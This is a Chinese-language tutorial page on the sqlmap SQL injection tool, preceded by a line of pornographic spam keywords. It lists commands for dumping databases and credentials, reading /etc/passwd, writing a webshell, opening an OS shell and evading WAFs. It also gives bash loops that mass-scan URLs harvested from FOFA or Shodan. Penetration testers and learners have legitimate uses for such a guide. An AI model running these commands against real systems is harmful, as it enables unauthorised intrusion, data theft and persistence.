欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

sqlmap 使用教程(從入門到進(jìn)階)

 更新時(shí)間:2025年09月06日 11:09:54   作者:Factor安全  
sqlmap是一款強(qiáng)大的開源 SQL 注入自動(dòng)化測(cè)試工具,支持識(shí)別并利用多種類型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等),本文給大家介紹sqlmap使用教程,感興趣的朋友一起看看吧

超詳細(xì) sqlmap 使用教程(從入門到進(jìn)階)

sqlmap 是一款強(qiáng)大的開源 SQL 注入自動(dòng)化測(cè)試工具,支持識(shí)別并利用多種類型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不僅能識(shí)別注入,還能實(shí)現(xiàn)數(shù)據(jù)庫(kù)指紋識(shí)別、表結(jié)構(gòu)讀取、數(shù)據(jù)導(dǎo)出、文件讀寫、提權(quán)、命令執(zhí)行等。

一、安裝 sqlmap

方式一:源碼安裝(推薦)

git clone https://gitcode.com/sqlmapproject/sqlmap.git //國(guó)內(nèi)鏡像
cd sqlmap
python3 sqlmap.py -h

方式二:APT 安裝(適用于 Kali、Debian)

sudo apt update
sudo apt install sqlmap
sqlmap -h

二、基本命令語(yǔ)法

sqlmap -u "http://target.com/vuln.php?id=1" [options]
  • -u:目標(biāo) URL,支持 GET 和 POST 參數(shù)
  • --data:提交 POST 參數(shù)
  • --cookie:提交 Cookie 頭
  • -p:指定注入點(diǎn)參數(shù)
  • --batch:自動(dòng)確認(rèn)(用于腳本執(zhí)行時(shí)非交互)
  • --random-agent:偽造瀏覽器 UA

三、典型實(shí)戰(zhàn)用法大全(按功能分類)

1、基礎(chǔ)測(cè)試注入點(diǎn)

1、自動(dòng)探測(cè) GET 參數(shù)是否存在注入
sqlmap -u "http://site.com/page.php?id=1"
2、測(cè)試 POST 請(qǐng)求參數(shù)
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
3、帶 Cookie 測(cè)試(如登錄后才可注入)
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
4、指定注入?yún)?shù)(默認(rèn)會(huì)測(cè)試所有)
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
5、靜態(tài)請(qǐng)求文件(如 Burp 抓包導(dǎo)出的 .txt)
sqlmap -r request.txt

2、數(shù)據(jù)庫(kù)識(shí)別與信息收集

1、獲取數(shù)據(jù)庫(kù)類型和版本
sqlmap -u "http://target.com/?id=1" --banner
2、獲取當(dāng)前數(shù)據(jù)庫(kù)名
sqlmap -u "http://target.com/?id=1" --current-db
3、獲取當(dāng)前用戶、權(quán)限
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
4、獲取所有數(shù)據(jù)庫(kù)名
sqlmap -u "http://target.com/?id=1" --dbs
5、枚舉數(shù)據(jù)庫(kù)的表名
sqlmap -u "http://target.com/?id=1" -D testdb --tables
6、枚舉表內(nèi)字段名
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
7、導(dǎo)出數(shù)據(jù)
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump

3、繞過(guò)過(guò)濾和防護(hù)機(jī)制

1、偽造 User-Agent / Referer
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
2、自定義 HTTP 請(qǐng)求頭
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
3、使用隨機(jī) UA 繞過(guò) WAF
sqlmap -u "http://target.com/?id=1" --random-agent
4、使用 tamper 腳本繞過(guò) WAF(如 Cloudflare)
sqlmap -u "http://target.com/?id=1" --tamper=space2comment

推薦組合使用多個(gè):

--tamper=space2comment,charunicodeescape,between

4、特殊注入場(chǎng)景支持

1、支持時(shí)間盲注(time-based blind)
sqlmap -u "http://target.com/page.php?id=1" --technique=T
2、支持報(bào)錯(cuò)注入(error-based)
sqlmap -u "http://target.com/page.php?id=1" --technique=E
3、使用堆疊查詢
sqlmap -u "http://target.com/page.php?id=1" --stacked-query

5、文件系統(tǒng)操作(高危)

1、讀取遠(yuǎn)程服務(wù)器文件(如配置文件)
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
2、上傳寫入 webshell(需要寫權(quán)限)
sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"

6、系統(tǒng)命令執(zhí)行(高權(quán)限下)

1、執(zhí)行系統(tǒng)命令(如 whoami、ipconfig)
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
2、啟動(dòng)交互式命令行(非常強(qiáng)大)
sqlmap -u "http://target.com/page.php?id=1" --os-shell

注意:必須具備數(shù)據(jù)庫(kù)用戶執(zhí)行系統(tǒng)命令的權(quán)限(如 xp_cmdshell, load_file, into outfile 等)

7、登錄口爆破測(cè)試(少見(jiàn)用法)

如果某參數(shù)中存在注入點(diǎn),sqlmap 可嘗試暴力登錄:

sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords

8、會(huì)話保存 / 自動(dòng)繼續(xù)掃描

1、保存掃描進(jìn)度
sqlmap -u "http://target.com" --batch --flush-session
2、繼續(xù)之前未完成的任務(wù)
sqlmap -u "http://target.com" --resume

9、指定數(shù)據(jù)庫(kù)引擎、注入技術(shù)

--dbms=mysql           # 強(qiáng)制使用 MySQL
--technique=BEUSTQ     # 指定注入技術(shù)

技術(shù)說(shuō)明:

  • B:布爾盲注
  • E:報(bào)錯(cuò)注入
  • U:聯(lián)合查詢
  • S:堆疊語(yǔ)句
  • T:時(shí)間盲注
  • Q:inline 查詢

四、輔助技巧與實(shí)用建議

場(chǎng)景推薦參數(shù)
多參數(shù)存在注入使用 --level=5 --risk=3
避免頻繁交互--batch
WAF 檢測(cè)或屏蔽--random-agent --tamper
響應(yīng)慢 / 網(wǎng)站卡頓--timeout=10 --retries=3 --delay=1
避免爆炸性數(shù)據(jù)--fresh-queries --exclude-sysdbs

五、實(shí)戰(zhàn)案例總結(jié)

例 1:自動(dòng)識(shí)別 + 導(dǎo)出所有數(shù)據(jù)

sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all

例 2:POST 登錄接口注入測(cè)試

sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch

例 3:使用 Burp 抓包測(cè)試

sqlmap -r burp_request.txt --batch

例 4:讀取數(shù)據(jù)庫(kù)用戶信息并執(zhí)行 whoami

sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"

六、總結(jié)建議

建議理由
使用 --batch 做自動(dòng)測(cè)試減少交互操作,提高效率
指定 -p 參數(shù)避免浪費(fèi)時(shí)間在無(wú)關(guān)參數(shù)
學(xué)會(huì)使用 -r 靜態(tài)請(qǐng)求文件更適合測(cè)試復(fù)雜 POST、Cookie 請(qǐng)求
配合 Burp + sqlmap 使用手動(dòng)確認(rèn)參數(shù)后自動(dòng)化測(cè)試更高效
測(cè)試環(huán)境先用 --risk=1 --level=1線上目標(biāo)避免影響服務(wù)
禁用系統(tǒng)功能或告警--os-shell 等需謹(jǐn)慎使用

?? 七、sqlmap 高級(jí)技巧 & 實(shí)戰(zhàn)應(yīng)用拓展

1. 自動(dòng)化批量測(cè)試多個(gè)目標(biāo)

如果你有一個(gè)大量 URL 的列表,比如從 Google/Burp/爬蟲中導(dǎo)出的可疑鏈接:

方法一:使用--batch+--crawl+ Bash 腳本

cat urls.txt | while read url; do
  sqlmap -u "$url" --batch --crawl=2 --threads=5
done

方法二:配合目標(biāo)資產(chǎn)平臺(tái)輸出(如 FOFA、Quake、Shodan)

結(jié)合搜索引擎導(dǎo)出資產(chǎn)后:

for u in $(cat fofa_urls.txt); do
  sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2
done

2. 常用組合參數(shù)模板(實(shí)戰(zhàn)推薦)

場(chǎng)景推薦組合參數(shù)
公開測(cè)試平臺(tái) / 漏掃--random-agent --batch --threads=5
內(nèi)網(wǎng)實(shí)戰(zhàn)探測(cè)(不打擾目標(biāo))--level=1 --risk=1 --technique=B --time-sec=5 --delay=1
目標(biāo)用 POST 登錄--data="user=admin&pass=123"
Cookie 有效期短--cookie="JSESSIONID=xxxxxx"
遇到 CDN 防護(hù)--tamper=between,space2comment
目標(biāo)只允許 HEAD 請(qǐng)求--method=HEAD
深入盲注場(chǎng)景--technique=T --time-sec=10

3. 常見(jiàn) Tamper 繞過(guò)腳本說(shuō)明

sqlmap 支持用 --tamper 參數(shù)指定腳本,在發(fā)送請(qǐng)求前修改 Payload(用于繞過(guò) WAF):

腳本名功能說(shuō)明
space2comment.py將空格替換為 /**/ 注釋
between.py使用 BETWEEN 替代等號(hào)
charunicodeescape.py字符轉(zhuǎn)為 unicode 編碼
equaltolike.py= 替換為 LIKE
randomcase.py字母大小寫混淆
unionalltounion.pyUNION ALL SELECT 改成 UNION SELECT
percentage.py使用 % 編碼關(guān)鍵字

? 組合使用示例

sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch

4. 對(duì)抗防火墻與 WAF 策略

1、檢測(cè)是否有 WAF

sqlmap -u "http://target.com/?id=1" --identify-waf

如果提示類似:

[!] WAF/IDS/IPS identified: Cloudflare

就說(shuō)明目標(biāo)使用了防御系統(tǒng),應(yīng)切換到:

  • 慢速測(cè)試:--delay=1 --timeout=10
  • 編碼繞過(guò):--tamper
  • 限制技術(shù):--technique=B

5. SQL 注入技術(shù)選型建議

技術(shù)代碼類型特點(diǎn)說(shuō)明
BBoolean Blind最隱蔽,但慢
TTime-based Blind非回顯場(chǎng)景常用
EError-based快速,依賴數(shù)據(jù)庫(kù)錯(cuò)誤信息
UUnion Query最快,依賴回顯
SStacked Queries可寫文件/執(zhí)行命令
QInline Query針對(duì)特定場(chǎng)景如 PostgreSQL
bash復(fù)制編輯--technique=BEUSTQ     # 開啟所有類型
--technique=BEU        # 只測(cè)回顯類
--technique=T          # 強(qiáng)制盲注

6. sqlmap session 保存與重用

sqlmap 會(huì)默認(rèn)保存掃描歷史到 .sqlmap/output/host/,也支持:

  • --flush-session:清除上次掃描緩存
  • --resume:恢復(fù)未完成任務(wù)
  • --output-dir=custom/:自定義輸出路徑

7. 利用 sqlmap API 進(jìn)行自動(dòng)化任務(wù)管理

1、啟動(dòng) API 服務(wù)端(默認(rèn)端口 8775)

python3 sqlmapapi.py -s

2、與之交互(Python 代碼 / Postman / curl 調(diào)用)

POST /task/new
POST /scan/start
GET  /scan/{id}/log

可搭配 Web UI 或自動(dòng)化滲透框架集成,例如:

  • Awvs + sqlmap 聯(lián)動(dòng)
  • 命令行批量漏洞驗(yàn)證器中調(diào) sqlmap API

8. 輸出數(shù)據(jù)格式控制

參數(shù)功能
--batch省略交互
--forms自動(dòng)識(shí)別表單
--threads=10多線程加速
--output-dir=xxx指定輸出目錄
--crawl=2自動(dòng)爬取內(nèi)部頁(yè)面 2 層
--fresh-queries不使用緩存
--parse-errors嘗試解析錯(cuò)誤信息
--save保存參數(shù)為 profile

9. sqlmap 配合滲透測(cè)試場(chǎng)景

滲透階段sqlmap 使用點(diǎn)
信息收集自動(dòng)識(shí)別數(shù)據(jù)庫(kù)、DBA 用戶、DB 類型
權(quán)限提升利用堆疊查詢執(zhí)行文件寫入、提權(quán)腳本
持久化控制寫入 Webshell,執(zhí)行后門
lateral movement獲取數(shù)據(jù)庫(kù)中的 VPN 賬號(hào)、內(nèi)網(wǎng) IP、后臺(tái)密碼等

10. 學(xué)習(xí)路徑建議(由淺入深)

  1. ? 掌握基本注入點(diǎn)掃描(--dbs --tables --dump
  2. ? 理解 6 大注入技術(shù)(BEUSTQ)
  3. ? 學(xué)會(huì)繞過(guò) WAF(tamper 編寫與選擇)
  4. ? 學(xué)會(huì)構(gòu)造 request.txt / Cookie / Header 注入
  5. ? 腳本化調(diào)用 sqlmap 自動(dòng)打點(diǎn)
  6. ? 分析源碼、寫 tamper、定制注入 payload

附:推薦資源

類型鏈接
官網(wǎng)https://sqlmap.org
GitHubhttps://gitcode.com/sqlmapproject/sqlmap
API 文檔https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage
Tamper 腳本文檔https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper
sqlmap API 工具封裝sqlmapapi-client

? 總結(jié)一句話:

sqlmap 不只是一個(gè)掃描工具,它是一臺(tái)自動(dòng)化的數(shù)據(jù)庫(kù)信息提取武器庫(kù),只要你掌握參數(shù),就能完成注入探測(cè)、提權(quán)、文件操作等一整套攻擊鏈。

到此這篇關(guān)于sqlmap 使用教程(從入門到進(jìn)階)的文章就介紹到這了,更多相關(guān)sqlmap 使用內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 詳解SpringBoot配置devtools實(shí)現(xiàn)熱部署

    詳解SpringBoot配置devtools實(shí)現(xiàn)熱部署

    本篇文章主要介紹了詳解SpringBoot配置devtools實(shí)現(xiàn)熱部署 ,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-05-05
  • Spring中@Value使用詳解及SPEL表達(dá)式

    Spring中@Value使用詳解及SPEL表達(dá)式

    這篇文章主要介紹了Spring中@Value使用詳解及SPEL表達(dá)式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-09-09
  • spring單例如何改多例

    spring單例如何改多例

    這篇文章主要介紹了spring單例如何改多例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-01-01
  • 詳解spring-data-jpa中jpql的投影查詢

    詳解spring-data-jpa中jpql的投影查詢

    投影查詢,就是僅僅檢索表的部分字段。而不是粗暴的 SELECT * FROM...檢索出所有列數(shù)據(jù),這篇文章主要介紹了spring-data-jpa中jpql的投影查詢,需要的朋友可以參考下
    2021-09-09
  • Java spring AOP基礎(chǔ)

    Java spring AOP基礎(chǔ)

    本篇文章主要介紹了深入理解spring的AOP機(jī)制基礎(chǔ)原理,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2021-11-11
  • 教你怎么用Idea打包jar包

    教你怎么用Idea打包jar包

    這篇文章主要介紹了教你怎么用Idea打包jar包,文中有非常詳細(xì)的代碼示例,對(duì)剛開始使用IDEA的小伙伴們很有幫助喲,需要的朋友可以參考下
    2021-05-05
  • Java面試題目集錦

    Java面試題目集錦

    本文是小編日常收集整理的java面試題目,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下
    2016-09-09
  • Java必踩的坑之方法中形參、實(shí)參傳遞

    Java必踩的坑之方法中形參、實(shí)參傳遞

    這篇文章主要給大家介紹了關(guān)于Java必踩的坑之方法中形參、實(shí)參傳遞的相關(guān)資料,以及Java 形參和實(shí)參的區(qū)別,文中通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2022-03-03
  • 在idea中顯示springboot面板的方法

    在idea中顯示springboot面板的方法

    這篇文章主要介紹了在idea中顯示springboot面板的方法方便啟動(dòng)調(diào)試,本文通過(guò)代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-11-11
  • SpringBoot防止大量請(qǐng)求攻擊的實(shí)現(xiàn)

    SpringBoot防止大量請(qǐng)求攻擊的實(shí)現(xiàn)

    在有些特定的時(shí)候需要加上IP訪問(wèn)時(shí)間限制,防止一個(gè)IP多次訪問(wèn)請(qǐng)求,本文主要介紹了SpringBoot防止大量請(qǐng)求攻擊的實(shí)現(xiàn),感興趣的可以了解一下
    2021-11-11

最新評(píng)論